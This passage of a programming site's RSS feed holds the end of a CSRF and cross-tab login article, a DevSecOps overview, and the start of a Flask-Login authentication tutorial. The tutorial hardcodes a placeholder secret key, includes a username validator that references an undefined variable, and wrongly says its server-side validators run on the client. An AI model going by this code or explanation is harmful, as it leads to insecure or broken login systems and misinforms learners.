<span class="hljs-keyword">const</span> CSRF = <span class="hljs-string">'app/csrf'</span>;
<span class="hljs-keyword">const</span> LOGIN = <span class="hljs-string">'app/login'</span>;
<span class="hljs-keyword">const</span> LOGOUT = <span class="hljs-string">'app/logout'</span>;
<span class="hljs-keyword">let</span> token;
channel.addEventListener(<span class="hljs-string">'message'</span>, <span class="hljs-function">(<span class="hljs-params">e</span>) =&gt;</span> {
    <span class="hljs-keyword">switch</span> (e.data.type) {
        <span class="hljs-keyword">case</span> CSRF:
            token = e.data.payload;
            <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> LOGIN:
            <span class="hljs-keyword">const</span> { user } = e.data.payload;
            autologin(user);
            <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> LOGOUT:
            logout();
            <span class="hljs-keyword">break</span>;
    }
});

channel.postMessage({<span class="hljs-attr">type</span>: <span class="hljs-string">'login'</span>, <span class="hljs-attr">payload</span>: { user } });
</code></pre>
<h2 id="heading-conclusion">Conclusion</h2>
<p>It's great if you protect your app against attackers. But keep in mind how people will be using your application, too so you don't make it unnecessarily hard to use. This applies not only to this particular problem.</p>
<p>The <strong>Sysend</strong> library is a simple way to communicate between open tabs in the same browser. And it can fix major issues with CSRF protection. The library has more features, and you can check its <a target="_blank" href="https://github.com/jcubic/sysend.js">GitHub repo</a> for more details.</p>
<p><strong>Broadcast Channel</strong> is also not that complicated. If you don't need to support old browsers or some older mobile devices, you can use this API. But if you need to support older browsers, or want to make your code simpler, you use can the sysend library.</p>
<p>If you want to see browser support for Broadcast Channel, you can see <a target="_blank" href="https://caniuse.com/broadcastchannel">Can I Use</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is DevSecOps? How to Secure Website or App ]]>
                </title>
                <description>
                    <![CDATA[ Every day major companies have vulnerabilities exploited in their software. It is important to learn how to protect your applications against data breaches.  In this article you all about DevSecOps and web security. There is a video course that goes ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-is-devsecops/</link>
                <guid isPermaLink="false">66b20720eea9870582e16cec</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Devops ]]>
                    </category>
                
                    <category>
                        <![CDATA[ youtube ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Beau Carnes ]]>
                </dc:creator>
                <pubDate>Tue, 14 Dec 2021 14:08:56 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/12/maxresdefault.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Every day major companies have vulnerabilities exploited in their software. It is important to learn how to protect your applications against data breaches. </p>
<p>In this article you all about DevSecOps and web security.</p>
<p>There is a video course that goes along with this article. The article focuses on the definitions and theory. The video course will also show you how to take advantage of common web vulnerabilities, how to fix those vulnerabilities, and how to use DevSecOps tools to make sure your applications are secure. </p>
<p>You can watch the video course below or <a target="_blank" href="https://youtu.be/F5KJVuii0Yw">on the freeCodeCamp.org YouTube</a> channel.</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/F5KJVuii0Yw" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<p>Thanks to <a target="_blank" href="https://snyk.io/">Snyk</a> for providing a grant that made development of this tutorial and video course possible.</p>
<h2 id="heading-what-is-devsecops">What Is DevSecOps?</h2>
<p><a target="_blank" href="https://snyk.io/series/devsecops/">DevSecOps</a> refers to the integration of security practices into a DevOps software delivery model. In a DevSecOps model, security objectives are integrated as early as possible in the life cycle of software development and security considerations are important throughout the lifecycle.</p>
<p>To really understand DevSecOps, it can be helpful to first understand DevOps and also vulnerabilities.</p>
<h3 id="heading-vulnerabilities">Vulnerabilities</h3>
<p>Let's start with vulnerabilities. The whole point of security is to protect against vulnerabilities so let's understand the different types and afterwards I'll discuss DevOps.</p>
<p>The average cost of a data breach in 2020 was $3.86 million and global cybercrime costs are expected to reach $6 trillion by the end of this year. It is estimated that 90% of web applications are vulnerable to hacking and 68% of those are vulnerable to the breach of sensitive data.</p>
<p>In 2020, there were over 1000 data breaches in the United State according to the Identity Theft Resource Center. Over 155.8 million individuals were affected by data exposures. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/11/statistic_id273550_cyber-crime_-number-of-breaches-and-records-exposed-2005-2020.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-vulnerability-vs-exploit-vs-threat">Vulnerability vs. Exploit vs. Threat</h3>
<p>When thinking about security, it is important to understand the difference between a vulnerability, an exploit, and a threat.</p>
<p>A <strong>security vulnerability</strong> is a software code flaw or a system misconfiguration that hackers can use to gain unauthorized access to a system or network. Once inside, the attacker can leverage authorizations and privileges to compromise systems and assets.</p>
<p>An <strong>exploit</strong> is the method hackers use to exploit a vulnerability. An exploit is typically a piece custom software or a sequence of commands. </p>
<p>There are even exploit kits that can be embedded in compromised web pages where they continuously scan for vulnerabilities. As soon as a weakness is detected, the kit immediately attempts to deploy an exploit, such as injecting malware into the host system.</p>
<p>A <strong>threat</strong> is the actual or hypothetical <em>event</em> in which one or more exploits use a vulnerability to mount an attack. </p>
<p><img src="https://res.cloudinary.com/snyk/images/w_550,h_438,c_scale/v1/wordpress-sync/Vuln-diagram-2-1-e1574424713592/Vuln-diagram-2-1-e1574424713592.png" alt="security vulnerabilities and exploits" width="600" height="400" loading="lazy"></p>
<p>Only a small amount of known vulnerabilities will be used to hack into a system. Vulnerabilities that pose the highest risk are those that have a higher chance of being exploited and therefore should be the ones that are prioritized.</p>
<h2 id="heading-types-of-security-vulnerabilities">Types of Security Vulnerabilities</h2>
<p>Security vulnerabilities can be found in all different areas related to software. Here are some common security vulnerabilities in applications and websites.</p>
<p>There are two different important lists of weaknesses in web applications. The first list is created by the Open Web Application Security Project (OWASP). They have a popular list called the <a target="_blank" href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a> that features the most commonly exploited vulnerabilities.</p>
<p>The second list is <a target="_blank" href="https://cwe.mitre.org/">CWE</a>, or Common Weakness Enumeration, which is a “community-developed list of common software and hardware weakness types that have security ramifications.” This list is run by the MITRE Corporation, a not-for-profit company that operates federal government funded R&amp;D centers. They create the CWE-25 which is their list of the 25 most dangerous software weaknesses.</p>
<p>In the CWE-25, there are 3 major types of application and website security weaknesses:</p>
<ol>
<li>Porous defenses</li>
<li>Risky resource management</li>
<li>Insecure interaction between components</li>
</ol>
<h2 id="heading-1-porous-defenses">1. Porous Defenses</h2>
<p>A porous defenses weakness is one that could allow users to bypass or spoof authentication and authorization processes. Authentication verifies the identity of someone trying to access a system while authorization is the set of access and usage permissions assigned to the user.</p>
<p>Porous defense weakness examples include:</p>
<ul>
<li>Weak password encoding</li>
<li>Insufficiently protected credentials</li>
<li>Missing or single-factor authentication</li>
<li>Insecurely inherited permissions</li>
<li>Sessions that don’t expire in a timely manner</li>
</ul>
<p>All of these porous defense vulnerability types can allow hackers to successfully access sensitive resources.</p>
<p>Exploits that leverage these vulnerabilities may include:</p>
<ul>
<li>Credential stuffing attacks</li>
<li>Hijacking of session IDs</li>
<li>Stealing login credentials</li>
<li>Man-in-the-middle attacks</li>
</ul>
<h2 id="heading-2-risky-resource-management">2. Risky Resource Management</h2>
<p>Another vulnerability category is risky management of resources such as memory, functions, and open-source frameworks. </p>
<p>These vulnerabilities include:</p>
<ul>
<li><strong>Out-of-bounds write or read (aka buffer overflow):</strong> The application can be tricked into writing or reading data past the end or before the beginning of the intended memory buffer.</li>
<li><strong>Path traversal:</strong> Allows attackers to get to pathnames that let them access files outside of restricted directories. I'll be showing an example of this later.</li>
</ul>
<p>Exploiting these vulnerabilities allow hackers to gain control over an application, damage files, or access sensitive information.</p>
<h2 id="heading-3-insecure-interaction-between-components">3. Insecure Interaction Between Components</h2>
<p>Many applications today send and receive data across a wide range of services, threads, and processes. The way different components intact with each other can introduce vulnerabilities.</p>
<p>Weaknesses that expose a web application or website in this manner include:</p>
<ul>
<li><strong>Cross-site scripting or XSS:</strong> When user inputs are not handled securely, it opens up the possibility for XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. This is a very common vulnerability.</li>
<li><strong>Cross-site request forgery (CSRF):</strong> Improper verification of whether a seemingly legitimate and authentic request was intentionally sent. These attacks are often mounted via social engineering vectors such as bogus emails that trick a user to click a link, which then sends a forged request to a site or server where the user has already been authenticated.</li>
</ul>
<p>If apps and websites don't properly implement security controls for interaction between components, this leaves them vulnerable to backdoor attacks, scripting attacks, worms, trojan horses and other exploits that deploy malicious code to wreak havoc on infrastructure, data, and systems.</p>
<h3 id="heading-most-common-vulnerabilities">Most Common Vulnerabilities</h3>
<p>Between the OWASP-10 and CWE-25 lists, it is clear that Broken Access Control as the top vulnerability. 94% of applications have some some form of broken access control.</p>
<p>Access control makes sure that users cannot act outside of their intended permissions. If this is not set up properly it can lead to unauthorized information disclosure, modification, or even destruction of data.</p>
<h3 id="heading-devops">DevOps</h3>
<p>Now let's talk about DevOps, which is an important part of DevSecOps.</p>
<p>DevOps is a concept that has been talked about and written about for long time, and many definitions of DevOps have emerged. </p>
<p>DevOps is basically a set of practices that combines software development (Dev) and IT operations (Ops). It aims to shorten the systems development life cycle and provide continuous delivery with high software quality.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-59.png" alt="Image" width="600" height="400" loading="lazy">
<em>DevOps Pipeline</em></p>
<p>Most modern DevOps organizations will depend on some combination of continuous integration and continuous deployment/delivery systems, in the form of a <a target="_blank" href="https://snyk.io/learn/what-is-ci-cd-pipeline-and-tools-explained/">CI/CD pipeline</a>. As part of the lifecycle a variety of automated security testing and validation can be performed, without requiring the manual work of a human operator. And this is all part of the Software Development LifeCycle.</p>
<p>Here is an example of a common DevOps flow. First, a developer will write code and push it to a repo. At that point the CI/CD pipeline starts. There are automated tests, then a version is built eventually it deployed to production. There are tests at every step to assure code quality. In this model, security is sometimes only considered right before deploying to production.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>DevSecOps follows a similar flow, but adds automated security considerations throughout the process. Security is integrated with the DevOps. DevSecOps codifies security objectives as part of the overall goal structure.</p>
<p>The shield represent all the places that we test for security. Different tools are used for different steps and I'll talk about some of the specific tools later.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>DevSecOps should be thought of as the natural continuation of DevOps, rather than as a separate idea or concept. </p>
<p>Activities designed to identify and ideally solve security issues are injected early in the lifecycle of application development, rather than after a product is released. This is accomplished by enabling development teams to perform many of the security tasks independently within the software development lifecycle (SDLC).</p>
<p>To integrate security objectives early in the development of an application, start before the first line of code is ever written. Security can integrate and begin effective threat modeling during the initial concept of the system, application, or individual user story. Static analysis, linters, and policy engines can be run any time a developer checks in code, ensuring that any low-hanging fruit is dealt with before the changes move further upstream. Later I'll be showing you how to use a tool to check code for security issues while you are writing it.</p>
<p>Software composition analysis can be applied to confirm that any open-source dependencies have compatible licenses and are free of vulnerabilities. I'll be showing you how to use a tool to check software dependencies for security issues. It can be very helpful to get immediate feedback on the relative security of the code you've written and this helps individual developers take ownership of security issues.</p>
<p>Once code is checked in, Static Application Security Testing (or <a target="_blank" href="https://snyk.io/learn/application-security/static-application-security-testing">SAST</a>) tools can be used to identify vulnerabilities and perform software composition analysis. SAST tools should be integrated into post-commit processes to ensure that new code introduced is proactively scanned for vulnerabilities. Having a SAST tool integration in place enables remediation of vulnerabilities earlier in the software development lifecycle, and it reduces application risk and exposure.</p>
<p>After the code builds, you can start to employ security integration tests. Running the code in an isolated container sandbox allows for automated testing of things like network calls, input validation, and authorization. These tests are often part of Dynamic Application Scanning Tools (or DAST). These tests generate fast feedback, enabling quick iteration and triage of any issues that are identified, causing minimal disruption to the overall stream. If things like unexplained network calls or unsanitized input occur, the tests fail, and the pipeline generates actionable feedback in the form of reporting and notifications to the relevant teams.</p>
<p>Next, things like correct logging and access controls can be tested. Does the application log relevant security and performance metrics correctly? Is access limited to the correct subset of individuals (or prevented entirely)? </p>
<p>Finally, the application makes its way to production. But security tests continue. Automated patching and configuration management ensure that the production environment is always running the latest and most secure versions of software dependencies. </p>
<p>Special techniques and tools can be used to secure containers. Later, you will learn how to do this in a real-world environment.</p>
<p>Utilizing a DevSecOps CI/CD pipeline helps integrate security objectives at each phase, allowing the rapid delivery to be maintained.</p>
<p>The entire approach helps minimize vulnerabilities that reach production, thereby reducing the cost associated with fixing security flaws. DevSecOps aims to build security into every stage of the delivery process, from the requirement stage onwards, and establish a plan for security automation.</p>
<h2 id="heading-software-project-iceberg">Software Project Iceberg</h2>
<p>When thinking about security you should remember that your code is just the tip of the iceberg.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-70.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>In an average software project, only 10-20% of code is custom code. Yes, it is important to make sure your custom code is secure but there is a lot more to think about.</p>
<p>80-90% of many codebases consist of open source code, modules, and libraries. The frameworks and libraries that you import can themselves import more frameworks and libraries. This is code that you didn't actually write yourself. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/11/image-71.png" alt="Image" width="600" height="400" loading="lazy">
_The node<em>modules directory of a project is often massive.</em></p>
<p>On average, 80% of vulnerabilities are found in direct dependencies. It doesn't matter how good you are with writing secure code if you import vulnerable dependencies.</p>
<p>Then there are containers. These often consist of hundreds of Linux packages inherited from public sources. Again, code that you didn't actually write yourself. </p>
<p>And you can't forget about Infrastructure as Code. This opens up a bunch of new attack vectors for malicious actors. Misconfiguration is the number one cloud vulnerability.</p>
<p>DevSecOps properly implemented should cover all of these areas.</p>
<h2 id="heading-the-importance-of-devsecops">The Importance of DevSecOps</h2>
<h3 id="heading-why-are-devsecops-practices-important">Why are DevSecOps practices important?</h3>
<p>As companies get larger there is often more software, cloud technologies and DevOps methodologies.</p>
<p>More software means more of the organization’s risk becomes digital making it increasingly challenging to secure digital assets.</p>
<p>Cloud technologies means that many of the IT and infrastructure risks are moved to the cloud. This raises the importance of permission and access management since everything can be accessed from anywhere.</p>
<p>As you've seen DevSecOps brings security into DevOps, enabling development teams to secure what they build at their pace, while also creating greater collaboration between development and security practitioners. Security teams offer expertise and tooling to increase developer autonomy while still providing a level of oversight.</p>
<h3 id="heading-6-benefits-of-the-devsecops-model-compared-to-the-traditional-devops-model">6 Benefits of the DevSecOps Model (compared to the traditional DevOps Model)</h3>
<p><img src="https://snyk.io/wp-content/uploads/devsecops-benefits-1-1240x627.png" alt="6 Benefits of the DevSecOps Mode" width="600" height="400" loading="lazy"></p>
<ol>
<li><strong>Faster delivery:</strong> The speed of software delivery is improved when security is integrated in the pipeline. Bugs are identified and fixed before deployment, allowing developers to focus on shipping features.</li>
<li><strong>Improved security posture:</strong> Security is a feature from the design phase onwards. A shared responsibility model ensures security is tightly integrated—from building, deploying, to securing production workloads.</li>
<li><strong>Reduced costs:</strong> Identifying vulnerabilities and bugs before deploying results in an exponential reduction in risk and operational cost.</li>
<li><strong>Enhancing the value of DevOps:</strong> Improving overall security posture as a culture of shared responsibility is created by the integration of security practices into DevOps. </li>
<li><strong>Improving security integration and pace:</strong> Cost and time of secure software delivery is reduced through eliminating the need to retrofit security controls post development.</li>
<li><strong>Enabling greater overall business success:</strong> Greater trust in the security of developed software and embracing new technologies enables enhanced revenue growth and expanded business offerings.</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>There are a bunch of tools that can help secure your apps and many of them are free. Learn more about how to use them in the video that goes along with this article.</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/F5KJVuii0Yw" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Authenticate Users in Flask with Flask-Login ]]>
                </title>
                <description>
                    <![CDATA[ By Ondiek Elijah Ochieng When you're developing applications for the general public, it's important to protect your users' credentials and information. This means you need to know about code structure and how to implement various security measures. I... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-authenticate-users-in-flask/</link>
                <guid isPermaLink="false">66d4608ab3016bf139028d7f</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Flask Framework ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 01 Nov 2021 20:00:24 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/10/Auth-in-Flask.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Ondiek Elijah Ochieng</p>
<p>When you're developing applications for the general public, it's important to protect your users' credentials and information. This means you need to know about code structure and how to implement various security measures.</p>
<p>In this article, we'll walk through the steps to create a user authentication web app with Flask, a micro web framework. For authentication, we'll use the Python library <code>flask_login</code>.</p>
<p>This app includes features such as form validations, account creation, and login/logout functionality for authenticated users.</p>
<h2 id="heading-application-setup-and-installation">Application Setup and Installation</h2>
<p>You can find a comprehensive guide on setting up and installing the project on my <a target="_blank" href="https://github.com/Dev-Elie/User-Authentication-in-Flask/tree/main#readme">GitHub</a> repository.</p>
<h3 id="heading-basic-application-structure">Basic Application Structure</h3>
<p>For this application, we'll have a virtual environment in its own directory, as well as a folder containing the main application files. Here's an overview of the app's structure:</p>
<p><strong>.</strong><br>├── <strong>auth-app</strong><br>│   ├── app.py<br>│   ├── database.db<br>│   ├── forms.py<br>│   ├── manage.py<br>│   ├── <strong>migrations</strong><br>│   ├── models.py<br>│   ├── requirements.txt<br>│   ├── routes.py<br>│   ├── <strong>run</strong><br>│   ├── <strong>static</strong><br>│   └── <strong>templates</strong><br>│       ├── auth.html<br>│       ├── base.html<br>│       └── index.html<br>└── <strong>venv</strong></p>
<h3 id="heading-application-factory">Application Factory</h3>
<p>To kick it off, we'll create an application factory function inside the app.py file and call it <code>create_app</code>. This is vital for any Flask app.</p>
<p>Also, we need to make some libraries available for use within our project, so we'll import the following:</p>
<p><strong>app.py</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask
<span class="hljs-keyword">from</span> flask_sqlalchemy <span class="hljs-keyword">import</span> SQLAlchemy
<span class="hljs-keyword">from</span> flask_bcrypt <span class="hljs-keyword">import</span> Bcrypt
<span class="hljs-keyword">from</span> flask_migrate <span class="hljs-keyword">import</span> Migrate

<span class="hljs-keyword">from</span> flask_login <span class="hljs-keyword">import</span> (
    UserMixin,
    login_user,
    LoginManager,
    current_user,
    logout_user,
    login_required,
)
</code></pre>
<p>We imported Flask, SQLAlchemy to help our Python application communicate with a database, Bcrypt for password hashing, Migrate for database migrations, and several other methods from Flask-Login for session management.</p>
<pre><code class="lang-python">login_manager = LoginManager()
login_manager.session_protection = <span class="hljs-string">"strong"</span>
login_manager.login_view = <span class="hljs-string">"login"</span>
login_manager.login_message_category = <span class="hljs-string">"info"</span>
</code></pre>
<p>To use flask_login, we'll create an instance as shown above. We'll do the same for SQLAlchemy, Migrate, and Bcrypt.</p>
<pre><code class="lang-python">db = SQLAlchemy()
migrate = Migrate()
bcrypt = Bcrypt()
</code></pre>
<p>Instead of creating our Flask instance globally, we'll do so within a function because doing so globally becomes difficult as the project grows. </p>
<p>The benefit of doing this within a function is that it allows for multiple application instances (also during testing). (Source: <a target="_blank" href="https://flask.palletsprojects.com/en/2.0.x/patterns/appfactories/#application-factories">flask.palletsprojects.com</a>)</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_app</span>():</span>
    app = Flask(__name__)

    app.secret_key = <span class="hljs-string">'secret-key'</span>
    app.config[<span class="hljs-string">'SQLALCHEMY_DATABASE_URI'</span>] = <span class="hljs-string">"sqlite:///database.db"</span>
    app.config[<span class="hljs-string">'SQLALCHEMY_TRACK_MODIFICATIONS'</span>] = <span class="hljs-literal">True</span>

    login_manager.init_app(app)
    db.init_app(app)
    migrate.init_app(app, db)
    bcrypt.init_app(app)

    <span class="hljs-keyword">return</span> app
</code></pre>
<p>Flask-Login also requires that we set a secret key in order to function. Also, you'll notice that we have our initializations inside the application factory. We do this to avoid the extensions initially binding themselves to the application, as explained <a target="_blank" href="https://flask.palletsprojects.com/en/2.0.x/patterns/appfactories/#factories-extensions">here</a>.</p>
<p>Now that we've completed our basic application factory, it's time to declare our User model. In the user table, we only need email, username, and password columns for this application.</p>
<p><strong>models.py</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> app <span class="hljs-keyword">import</span> db
<span class="hljs-keyword">from</span> flask_login <span class="hljs-keyword">import</span> UserMixin

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span>(<span class="hljs-params">UserMixin, db.Model</span>):</span>
    __tablename__ = <span class="hljs-string">"user"</span>

    id = db.Column(db.Integer, primary_key=<span class="hljs-literal">True</span>)
    username = db.Column(db.String(<span class="hljs-number">80</span>), unique=<span class="hljs-literal">True</span>, nullable=<span class="hljs-literal">False</span>)
    email = db.Column(db.String(<span class="hljs-number">120</span>), unique=<span class="hljs-literal">True</span>, nullable=<span class="hljs-literal">False</span>)
    pwd = db.Column(db.String(<span class="hljs-number">300</span>), nullable=<span class="hljs-literal">False</span>, unique=<span class="hljs-literal">True</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__repr__</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">'&lt;User %r&gt;'</span> % self.username
</code></pre>
<p>We import db, an instance of SQLAlchemy, and a UserMixin subclass from Flask-Login in the above code snippet. Our work is simplified by using the UserMixin, which allows us to use methods such as <strong>is_authenticated()</strong>, <strong>is_active()</strong>, <strong>is_anonymous()</strong>, and <strong>get_id ()</strong>.</p>
<p>If we don't include the UserMixin in our User model, we'll get errors like <code>'User' object has no attribute 'is_active'</code>.</p>
<p>We currently have a User model, but we haven't yet created the table. To do this, run <code>python manage.py</code> on your terminal inside your project directory—assuming you got the setup right, installed the packages in the requirements.txt file, and have an active virtual environment.</p>
<p><strong>manage.py</strong></p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">deploy</span>():</span>
    <span class="hljs-string">"""Run deployment tasks."""</span>
    <span class="hljs-keyword">from</span> app <span class="hljs-keyword">import</span> create_app,db
    <span class="hljs-keyword">from</span> flask_migrate <span class="hljs-keyword">import</span> upgrade,migrate,init,stamp
    <span class="hljs-keyword">from</span> models <span class="hljs-keyword">import</span> User

    app = create_app()
    app.app_context().push()
    db.create_all()

    <span class="hljs-comment"># migrate database to latest revision</span>
    init()
    stamp()
    migrate()
    upgrade()

deploy()
</code></pre>
<p>The <code>deploy</code> function imports the <code>create_app</code> function from the <code>app.py</code> file, Flask-Migrate migration methods, and the User model. We then ensure that we are working within an application context, from which we can now call <code>db.create all()</code>, which will take care of our table creation.</p>
<p>We still need to set up the login and registration forms. First, we need to prepare the two Flask forms before rendering them on the template. The configuration for the forms is shown below. To keep this article neat and precise, I'll omit the import lines. For the excluded import lines, see the <a target="_blank" href="https://github.com/Dev-Elie/User-Authentication-in-Flask">GitHub</a> repository.</p>
<h3 id="heading-formspy">forms.py</h3>
<p><strong>a). Registration form</strong></p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">register_form</span>(<span class="hljs-params">FlaskForm</span>):</span>
    username = StringField(
        validators=[
            InputRequired(),
            Length(<span class="hljs-number">3</span>, <span class="hljs-number">20</span>, message=<span class="hljs-string">"Please provide a valid name"</span>),
            Regexp(
                <span class="hljs-string">"^[A-Za-z][A-Za-z0-9_.]*$"</span>,
                <span class="hljs-number">0</span>,
                <span class="hljs-string">"Usernames must have only letters, "</span> <span class="hljs-string">"numbers, dots or underscores"</span>,
            ),
        ]
    )
    email = StringField(validators=[InputRequired(), Email(), Length(<span class="hljs-number">1</span>, <span class="hljs-number">64</span>)])
    pwd = PasswordField(validators=[InputRequired(), Length(<span class="hljs-number">8</span>, <span class="hljs-number">72</span>)])
    cpwd = PasswordField(
        validators=[
            InputRequired(),
            Length(<span class="hljs-number">8</span>, <span class="hljs-number">72</span>),
            EqualTo(<span class="hljs-string">"pwd"</span>, message=<span class="hljs-string">"Passwords must match !"</span>),
        ]
    )
</code></pre>
<p>In the above code snippet, we're simply applying validations to the required fields imported from <code>wtforms</code> and assigning them to the form field variable names. </p>
<pre><code class="lang-python">    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">validate_email</span>(<span class="hljs-params">self, email</span>):</span>
        <span class="hljs-keyword">if</span> User.query.filter_by(email=email.data).first():
            <span class="hljs-keyword">raise</span> ValidationError(<span class="hljs-string">"Email already registered!"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">validate_uname</span>(<span class="hljs-params">self, uname</span>):</span>
        <span class="hljs-keyword">if</span> User.query.filter_by(username=username.data).first():
            <span class="hljs-keyword">raise</span> ValidationError(<span class="hljs-string">"Username already taken!"</span>)
</code></pre>
<p>To speed up the validation process, we need to reduce the load and time required for server-side validation. To accomplish this, we add the above lines of code—email and username validation to our registration form class so that it is handled on the client side.</p>
<p><strong>b). Login form</strong></p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">login_form</span>(<span class="hljs-params">FlaskForm</span>):</span>
    email = StringField(validators=[InputRequired(), Email(), Length(<span class="hljs-number">1</span>, <span class="hljs-number">64</span>)])
    pwd = PasswordField(validators=[InputRequired(), Length(min=<span class="hljs-number">8</span>, max=<span class="hljs-number">72</span>)])
    <span class="hljs-comment"># Placeholder labels to enable form rendering</span>
    username = StringField(
        validators=[Optional()]
    )
</code></pre>
<p>To make the form fields visible on the template, we must pass the form object to it via the route rendering that template. Now it's time to define our application's various routes. I'll also leave out the import lines for this section.</p>
<h3 id="heading-routespy">routes.py</h3>
<p>It is important to provide a user loader callback when using Flask-Login. This keeps the current user object loaded in that current session based on the stored id.</p>
<pre><code class="lang-python"><span class="hljs-meta">@login_manager.user_loader</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load_user</span>(<span class="hljs-params">user_id</span>):</span>
    <span class="hljs-keyword">return</span> User.query.get(int(user_id))
</code></pre>
<p>In the lines of code that follow, we simply define three routes for this application: home, login, and register. Notice how we create Flask form instances and then pass them along with the function return statement? We'll modify these routes later to handle our login and registration needs. We'll also add a logout route.</p>
<pre><code class="lang-python">app = create_app()

<span class="hljs-comment"># Home route</span>
<span class="hljs-meta">@app.route("/", methods=("GET", "POST"), strict_slashes=False)</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">index</span>():</span>
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>,title=<span class="hljs-string">"Home"</span>)

<span class="hljs-comment"># Login route</span>
<span class="hljs-meta">@app.route("/login/", methods=("GET", "POST"), strict_slashes=False)</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">login</span>():</span>
    form = login_form()

    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"auth.html"</span>,form=form)

<span class="hljs-comment"># Register route</span>
<span class="hljs-meta">@app.route("/register/", methods=("GET", "POST"), strict_slashes=False)</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">register</span>():</span>
    form = register_form()

    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"auth.html"</span>,form=form)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    app.run(debug=<span class="hljs-literal">True</span>)
</code></pre>
<p>It's time to write some HTML code. At this point, all we need is forms in the browser. <strong>NB</strong>: I'll still leave out some lines of code to keep this article concise. The complete files are available on <a target="_blank" href="https://github.com/Dev-Elie/User-Authentication-in-Flask">GitHub</a>, but for the time being, let's concentrate on the main areas of interest.</p>
<p><strong>auth.html</strong></p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"{{ request.path }}"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"..."</span>&gt;</span>

{{ form.csrf_token }}

{% with messages = get_flashed_messages(with_categories=true) %}
<span class="hljs-comment">&lt;!-- Categories: success (green), info (blue), warning (yellow), danger (red) --&gt;</span>
{% if messages %}
{% for category, message in messages %}
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"alert alert-{{category}} alert-dismissible fade show"</span> <span class="hljs-attr">role</span>=<span class="hljs-string">"alert"</span>&gt;</span>
{{ message }}
<span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"btn-close"</span> <span class="hljs-attr">data-bs-dismiss</span>=<span class="hljs-string">"alert"</span> <span class="hljs-attr">aria-label</span>=<span class="hljs-string">"Close"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
